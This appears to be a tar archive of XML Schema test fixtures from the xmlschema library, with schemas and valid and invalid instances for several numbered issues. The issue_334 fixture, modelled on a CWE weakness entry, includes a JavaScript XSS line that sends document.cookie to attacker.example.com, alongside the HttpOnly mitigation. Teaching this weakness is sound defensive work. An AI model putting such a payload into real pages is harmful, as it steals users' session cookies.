</xs:schema>��������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_324/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022017�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_324/issue_324-invalid.xml�����������������������������0000664�0000000�0000000�00000000565�15020401055�0025713�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <tns1:root xmlns:tns1="http://xmlschema.test/ns" xmlns:tns2="http://xmlschema.test/wrong-ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlschema.test/ns issue_324a.xsd http://xmlschema.test/wrong-ns issue_324b.xsd"> <notes>foo</notes> <tns2:value>10</tns2:value> </tns1:root>�������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_324/issue_324-valid.xml�������������������������������0000664�0000000�0000000�00000000565�15020401055�0025364�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <tns1:root xmlns:tns1="http://xmlschema.test/ns" xmlns:tns2="http://xmlschema.test/other-ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlschema.test/ns issue_324a.xsd http://xmlschema.test/other-ns issue_324b.xsd"> <notes>foo</notes> <tns2:value>10</tns2:value> </tns1:root>�������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_324/issue_324a.xsd������������������������������������0000664�0000000�0000000�00000000600�15020401055�0024414�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns"> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element name="notes" type="xs:string"/> <xs:any/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="label" type="xs:string"/> </xs:schema>��������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_324/issue_324b.xsd������������������������������������0000664�0000000�0000000�00000000276�15020401055�0024426�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/other-ns"> <xs:element name="value" type="xs:int"/> </xs:schema>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_334/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022020�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_334/issue_334.xml�������������������������������������0000664�0000000�0000000�00000003426�15020401055�0024270�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<Demonstrative_Examples xmlns="http://xmlschema.test/ns" xmlns:xhtml="http://www.w3.org/1999/xhtml"> <Demonstrative_Example> <Intro_Text>In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.</Intro_Text> <Body_Text>The snippet of code below establishes a new cookie to hold the sessionID.</Body_Text> <Example_Code Nature="Bad" Language="Java"> <xhtml:div>String sessionID = generateSessionId();<xhtml:br/>Cookie c = new Cookie("session_id", sessionID);<xhtml:br/>response.addCookie(c);</xhtml:div> </Example_Code> <Body_Text>The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:</Body_Text> <Example_Code Nature="Attack" Language="JavaScript"> <xhtml:div>document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'</xhtml:div> </Example_Code> <Body_Text>When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.</Body_Text> <Body_Text>To mitigate the risk, use the setHttpOnly(true) method.</Body_Text> <Example_Code Nature="Good" Language="Java"> <xhtml:div>String sessionID = generateSessionId();<xhtml:br/>Cookie c = new Cookie("session_id", sessionID);<xhtml:br/>c.setHttpOnly(true);<xhtml:br/>response.addCookie(c);</xhtml:div> </Example_Code> </Demonstrative_Example> </Demonstrative_Examples>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_334/issue_334.xsd�������������������������������������0000664�0000000�0000000�00000012035�15020401055�0024262�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:cwe="http://xmlschema.test/ns" targetNamespace="http://xmlschema.test/ns" elementFormDefault="qualified"> <!-- From https://github.com/sissaschool/xmlschema/issues/334 --> <xs:element name="Demonstrative_Examples" type="cwe:DemonstrativeExamplesType"/> <!-- =============================================== --> <!-- Types from CWE XSD schema with some adaptations --> <!-- =============================================== --> <xs:complexType name="StructuredTextType" mixed="true"> <xs:annotation> <xs:documentation>The StructuredTextType complex type is used to allow XHTML content embedded within standard string data. Some common elements are: <BR/> to insert a line break, <UL><LI/></UL> to create a bulleted list, <OL><LI/></OL> to create a numbered list, and <DIV style="margin-left: 40px"></DIV> to create a new indented section.</xs:documentation> </xs:annotation> <xs:sequence> <xs:any namespace="http://www.w3.org/1999/xhtml" minOccurs="0" maxOccurs="unbounded" processContents="strict"/> </xs:sequence> </xs:complexType> <xs:complexType name="StructuredCodeType" mixed="true"> <xs:annotation> <xs:documentation>The StructuredCodeType complex type is used to present source code examples and other structured text that is not a regular paragraph. It allows embedded XHTML content to enable formatting of the code. The required Nature attribute states what type of code the example shows. The optional Language attribute states which source code language is used in the example. This is mostly appropriate when the Nature is "good" or "bad".</xs:documentation> </xs:annotation> <xs:sequence> <xs:any namespace="http://www.w3.org/1999/xhtml" minOccurs="0" maxOccurs="unbounded" processContents="strict"/> </xs:sequence> <xs:attribute name="Language" type="xs:string"/> <xs:attribute name="Nature" type="xs:string" use="required"></xs:attribute> </xs:complexType> <xs:complexType name="ReferencesType"> <xs:annotation> <xs:documentation>The ReferencesType complex type contains one or more reference elements, each of which is used to link to an external reference defined within the catalog. The required External_Reference_ID attribute represents the external reference entry being linked to (e.g., REF-1). Text or quotes within the same CWE entity can cite this External_Reference_ID similar to how a footnote is used, and should use the format [REF-1]. The optional Section attribute holds any section title or page number that is specific to this use of the reference.</xs:documentation> </xs:annotation> <xs:sequence> <xs:element name="Reference" minOccurs="1" maxOccurs="unbounded"> <xs:complexType> <xs:attribute name="External_Reference_ID" type="xs:string" use="required"/> <xs:attribute name="Section" type="xs:string"/> </xs:complexType> </xs:element> </xs:sequence> </xs:complexType> <!-- =============================================== --> <!-- =============================================== --> <!-- =============================================== --> <xs:complexType name="DemonstrativeExamplesType"> <xs:annotation> <xs:documentation>The DemonstrativeExamplesType complex type contains one or more Demonstrative_Example elements, each of which contains an example illustrating how a weakness may look in actual code. The optional Title_Text element provides a title for the example. The Intro_Text element describes the context and setting in which this code should be viewed, summarizing what the code is attempting to do. The Body_Text and Example_Code elements are a mixture of code and explanatory text about the example. The References element provides additional information.</xs:documentation> <xs:documentation>The optional Demonstrative_Example_ID attribute is used by the internal CWE team to uniquely identify examples that are repeated across any number of individual weaknesses. To help make sure that the details of these common examples stay synchronized, the Demonstrative_Example_ID is used to quickly identify those examples across CWE that should be identical. The identifier is a string and should match the following format: DX-1.</xs:documentation> </xs:annotation> <xs:sequence> <xs:element name="Demonstrative_Example" minOccurs="1" maxOccurs="unbounded"> <xs:complexType> <xs:sequence> <xs:element name="Title_Text" type="xs:string" minOccurs="0" maxOccurs="1"/> <xs:element name="Intro_Text" type="cwe:StructuredTextType" minOccurs="1" maxOccurs="1"/> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="Body_Text" type="cwe:StructuredTextType"/> <xs:element name="Example_Code" type="cwe:StructuredCodeType"/> </xs:choice> <xs:element name="References" type="cwe:ReferencesType" minOccurs="0" maxOccurs="1"/> </xs:sequence> <xs:attribute name="Demonstrative_Example_ID" type="xs:string"/> </xs:complexType> </xs:element> </xs:sequence> </xs:complexType> </xs:schema>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_341/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022016�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_341/issue_341-ext.xsd���������������������������������0000664�0000000�0000000�00000004026�15020401055�0025055�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="windows-1251"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> <xs:element name="TEST"> <xs:complexType> <xs:sequence> <xs:element name="TEST_EL" maxOccurs="1000"> <xs:complexType> <xs:sequence> <xs:element name="TEST_EL_2"> <xs:complexType> <xs:sequence> <xs:element name="exists_in_xml" type="test_type"/> <xs:element name="not_exists_in_xml" type="test_type" minOccurs="0"/> <xs:choice> <xs:element name="choice_elem1" minOccurs="0"/> <xs:element name="choice_elem2" minOccurs="0"/> </xs:choice> </xs:sequence> </xs:complexType> </xs:element> </xs:sequence> <xs:attribute name="Date" type="xs:date" use="required"/> </xs:complexType> </xs:element> </xs:sequence> </xs:complexType> </xs:element> <xs:complexType name="test_type"> <xs:attribute name="test_attr"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:minLength value="1"/> <xs:maxLength value="60"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="test_attr_2"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:minLength value="1"/> <xs:maxLength value="60"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:complexType> </xs:schema>����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_341/issue_341.xml�������������������������������������0000664�0000000�0000000�00000000236�15020401055�0024260�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <TEST> <TEST_EL Date="2022-10-03"> <TEST_EL_2> <exists_in_xml test_attr="test_value_attr" /> </TEST_EL_2> </TEST_EL> </TEST>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_341/issue_341.xsd�������������������������������������0000664�0000000�0000000�00000003365�15020401055�0024264�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="windows-1251"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> <xs:element name="TEST"> <xs:complexType> <xs:sequence> <xs:element name="TEST_EL" maxOccurs="1000"> <xs:complexType> <xs:sequence> <xs:element name="TEST_EL_2"> <xs:complexType> <xs:sequence> <xs:element name="exists_in_xml" type="test_type"/> <xs:element name="not_exists_in_xml" type="test_type" minOccurs="0"/> </xs:sequence> </xs:complexType> </xs:element> </xs:sequence> <xs:attribute name="Date" type="xs:date" use="required"/> </xs:complexType> </xs:element> </xs:sequence> </xs:complexType> </xs:element> <xs:complexType name="test_type"> <xs:attribute name="test_attr"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:minLength value="1"/> <xs:maxLength value="60"/> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attribute name="test_attr_2"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:minLength value="1"/> <xs:maxLength value="60"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:complexType> </xs:schema>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_349/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022026�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_349/issue_349.xml�������������������������������������0000664�0000000�0000000�00000000511�15020401055�0024274�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!--Sample XML file generated by XMLSpy v2022 rel. 2 (x64) (http://www.altova.com)--> <ra:test xmlns:ra="http://www.test.com/ia/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.test.com/ia/xml issue_349.xsd"> <ra:acquisition/> </ra:test> ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_349/issue_349.xsd�������������������������������������0000664�0000000�0000000�00000001076�15020401055�0024301�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <!-- edited with XMLSpy v2022 rel. 2 (x64) (http://www.altova.com) by AN--> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" xmlns:ra="http://www.test.com/ia/xml" xmlns:ns="2" targetNamespace="http://www.test.com/ia/xml" elementFormDefault="qualified" attributeFormDefault="unqualified" vc:minVersion="1.1"> <xs:element name="test"> <xs:complexType> <xs:sequence> <xs:element name="acquisition"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_362/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022021�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_362/dir1/���������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022660�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_362/dir1/dir2/����������������������������������������0000775�0000000�0000000�00000000000�15020401055�0023520�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_362/dir1/dir2/issue_362_2.xsd�������������������������0000664�0000000�0000000�00000000661�15020401055�0026206�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/tns2" elementFormDefault="qualified"> <xs:include schemaLocation="../../dir2/issue_362_2.xsd"/> <xs:import namespace="http://xmlschema.test/tns1" schemaLocation="http://xmlschema.test/tns1"/> <xs:import namespace="http://xmlschema.test/tns1" schemaLocation="../issue_362_1.xsd"/> <xs:element name="item2" /> </xs:schema> �������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_362/dir1/issue_362_1.xsd������������������������������0000664�0000000�0000000�00000000516�15020401055�0025344�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/tns1" elementFormDefault="qualified"> <xs:include schemaLocation="../issue_362_1.xsd"/> <xs:import namespace="http://xmlschema.test/tns2" schemaLocation="http://xmlschema.test/tns2"/> <xs:element name="item1" /> </xs:schema> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_362/dir2/���������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022661�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_362/dir2/issue_362_2.xsd������������������������������0000664�0000000�0000000�00000000531�15020401055�0025343�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/tns2" elementFormDefault="qualified"> <xs:include schemaLocation="../dir1/dir2/issue_362_2.xsd"/> <xs:import namespace="http://xmlschema.test/tns1" schemaLocation="http://xmlschema.test/tns1"/> <xs:element name="item3" /> </xs:schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_362/issue_362_1.xsd�����������������������������������0000664�0000000�0000000�00000001460�15020401055�0024504�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<!-- A test for export schemas with crossed imports/includes and additional failing remote imports. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns1="http://xmlschema.test/tns1" xmlns:tns2="http://xmlschema.test/tns2" targetNamespace="http://xmlschema.test/tns1"> <xs:include schemaLocation="./dir1/../dir1/issue_362_1.xsd"/> <xs:import namespace="http://xmlschema.test/tns2" schemaLocation="http://xmlschema.test/tns2"/> <xs:import namespace="http://xmlschema.test/tns2" schemaLocation="dir1/dir2/issue_362_2.xsd"/> <xs:element name="root"> <xs:complexType> <xs:sequence> <xs:element ref="tns1:item1" /> <xs:element ref="tns2:item2" /> <xs:element ref="tns2:item3" /> </xs:sequence> </xs:complexType> </xs:element> </xs:schema> ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_363/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022022�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_363/issue_363-invalid-1.xml���������������������������0000664�0000000�0000000�00000000540�15020401055�0026050�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- Invalid instance: no default namespace. --> <note xmlns:xsd="http://xmlschema.test/ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlschema.test/ns issue_363.xsd"> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>����������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_363/issue_363-invalid-2.xml���������������������������0000664�0000000�0000000�00000000533�15020401055�0026053�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- Invalid instance: namespace mismatch. --> <note xmlns="http://xmlschema.test/ns2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlschema.test/ns issue_363.xsd"> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>���������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_363/issue_363-invalid-3.xml���������������������������0000664�0000000�0000000�00000000570�15020401055�0026055�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- Invalid instance: no default namespace and namespace mismatch. --> <note xmlns:xsd="http://xmlschema.test/ns2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlschema.test/ns issue_363.xsd"> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>����������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_363/issue_363.xml�������������������������������������0000664�0000000�0000000�00000000503�15020401055�0024265�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <!-- Valid instance --> <note xmlns="http://xmlschema.test/ns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlschema.test/ns issue_363.xsd"> <to>Tove</to> <from>Jani</from> <heading>Reminder</heading> <body>Don't forget me this weekend!</body> </note>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_363/issue_363.xsd�������������������������������������0000664�0000000�0000000�00000001040�15020401055�0024260�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" targetNamespace="http://xmlschema.test/ns" xmlns="http://xmlschema.test/ns" elementFormDefault="qualified"> <xs:element name="note"> <xs:complexType> <xs:sequence> <xs:element name="to" type="xs:string"/> <xs:element name="from" type="xs:string"/> <xs:element name="heading" type="xs:string"/> <xs:element name="body" type="xs:string"/> </xs:sequence> </xs:complexType> </xs:element> </xs:schema>������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_372/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022022�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_372/issue_372-1.xml�����������������������������������0000664�0000000�0000000�00000000074�15020401055�0024426�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<parentTag> <invalidTag> </invalidTag> </parentTag> ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_372/issue_372-2.xml�����������������������������������0000664�0000000�0000000�00000000123�15020401055�0024422�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<parentTag> <optionalSecondChildTag> </optionalSecondChildTag> </parentTag>���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_372/issue_372.xsd�������������������������������������0000664�0000000�0000000�00000001045�15020401055�0024265�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="UTF-8"?> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" elementFormDefault="qualified"> <xs:element name="parentTag"> <xs:complexType> <xs:sequence> <xs:element ref="requiredChildTag" minOccurs="1" maxOccurs="1"/> <xs:element ref="optionalSecondChildTag" minOccurs="0"/> </xs:sequence> </xs:complexType> </xs:element> <xs:element name="requiredChildTag"/> <xs:element name="optionalSecondChildTag"/> </xs:schema>�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_386/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022027�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_386/issue_386-1.xml�����������������������������������0000664�0000000�0000000�00000000563�15020401055�0024443�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<foods> <food type="meat"> <name>Chicken</name> </food> <food type="meat"> <name>Beef</name> </food> <food type="meat"> <name>Pork</name> </food> <food type="fruit"> <name>Banana</name> </food> <food type="fruit"> <name>Apple</name> </food> <food type="vegetable"> <name>Carrot</name> </food> <recon vegetables="1" fruits="2" meats="3"/> </foods> ���������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_386/issue_386-2.xml�����������������������������������0000664�0000000�0000000�00000000562�15020401055�0024443�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<foods> <food type="meat"> <name>Chicken</name> </food> <food type="meat"> <name>Beef</name> </food> <food type="meat"> <name>Pork</name> </food> <food type="fruit"> <name>Banana</name> </food> <food type="fruit"> <name>Apple</name> </food> <food type="vegetable"> <name>Carrot</name> </food> <recon vegetables="1" fruits="3" meats="3"/> </foods>����������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_386/issue_386-2.xsd�����������������������������������0000664�0000000�0000000�00000002560�15020401055�0024441�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" elementFormDefault="qualified" attributeFormDefault="unqualified" vc:minVersion="1.1"> <xs:element name="food" type="foodType"/> <xs:complexType name="foodType"> <xs:sequence> <xs:element name="name" type="xs:string"/> </xs:sequence> <xs:attribute name="type"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:enumeration value="meat"/> <xs:enumeration value="vegetable"/> <xs:enumeration value="fruit"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:complexType> <xs:element name="foods"> <xs:annotation> <xs:documentation>Comment describing your root element</xs:documentation> </xs:annotation> <xs:complexType> <xs:sequence> <xs:element ref="food" maxOccurs="unbounded"/> <xs:element ref="recon"/> </xs:sequence> <xs:assert test="count(./food[@type='fruit']) eq ./recon/@fruits"/> </xs:complexType> </xs:element> <xs:element name="recon" type="reconType"/> <xs:complexType name="reconType"> <xs:attribute name="fruits" type="xs:integer"/> <xs:attribute name="vegetables" type="xs:integer"/> <xs:attribute name="meats" type="xs:integer"/> </xs:complexType> </xs:schema>������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/tests/test_cases/issues/issue_386/issue_386.xsd�������������������������������������0000664�0000000�0000000�00000002572�15020401055�0024305�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:vc="http://www.w3.org/2007/XMLSchema-versioning" elementFormDefault="qualified" attributeFormDefault="unqualified" vc:minVersion="1.1"> <xs:element name="food" type="foodType"/> <xs:complexType name="foodType"> <xs:sequence> <xs:element name="name" type="xs:string"/> </xs:sequence> <xs:attribute name="type"> <xs:simpleType> <xs:restriction base="xs:string"> <xs:enumeration value="meat"/> <xs:enumeration value="vegetable"/> <xs:enumeration value="fruit"/> </xs:restriction> </xs:simpleType> </xs:attribute> </xs:complexType> <xs:element name="foods"> <xs:annotation> <xs:documentation>Comment describing your root element</xs:documentation> </xs:annotation> <xs:complexType> <xs:sequence> <xs:element ref="food" maxOccurs="unbounded"/> <xs:element ref="recon"/> </xs:sequence> <xs:assert test="count(/foods/food[@type='fruit']) eq /foods/recon/@fruits"/> </xs:complexType> </xs:element> <xs:element name="recon" type="reconType"/> <xs:complexType name="reconType"> <xs:attribute name="fruits" type="xs:integer"/> <xs:attribute name="vegetables" type="xs:integer"/> <xs:attribute name="meats" type="xs:integer"/> </xs:complexType> 